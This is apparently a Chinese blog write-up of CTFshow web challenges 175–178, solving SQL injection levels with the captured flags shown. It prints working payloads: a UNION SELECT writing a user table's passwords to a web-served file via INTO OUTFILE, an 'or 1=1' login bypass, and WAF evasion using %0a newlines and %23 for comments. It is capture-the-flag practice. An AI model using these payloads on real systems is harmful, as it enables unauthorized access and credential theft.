CTFshow-web入门-web175-178

作者:xiaowu 日期: 分类:xiaowuCTF 浏览:1295

175

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

正则匹配中\xnn代表的是ascii码为十六进制nn的字符串,本关过滤掉了ascii从0到127的字符,所以就不能单纯地靠回显来爆出flag了

可以通过文件写入得到flag

0' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+

查询到flag后,将他传入同目录下的/var/www/html\目录并创建1.txt文件

然后可以直接访问1.txt文件

image.png

flag:ctfshow{0ccc2b5c-171c-4fd0-9dde-6c411748dbc0}

176

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

不知道怎么过滤,先试试万能密码

1'or 1=1 --+

原本在想思路,突然心血来潮随便翻翻

image.png

直接爆出来了

flag:ctfshow{8762f05d-266a-4b50-b4d2-fad994ab136e}

177

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

依然不展示过滤

试试1' or 1=1 #

无数据输出,应该是过滤了什么

再试1 ,也无数据,应该过滤了空格

1'%0aor%0a1=1%23

image.png

这也不对,应该还有什么被过滤

试试#

image.png

over

空格可以用换行符或者/**/注释符替换。在大多时候他们相等

flag:ctfshow{482bc341-d48c-43ca-9232-68e4eed4ec29}

178

依然不展示过滤

试试1' or 1=1 #

image.png

有过滤

试试上一题的payload

1'%0aor%0a1=1%23

image.pngimage.png

没想到成功了

flag:ctfshow{01a0001b-d48f-4460-9a3f-7130fb1ffc5a}

关键词:

网友评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。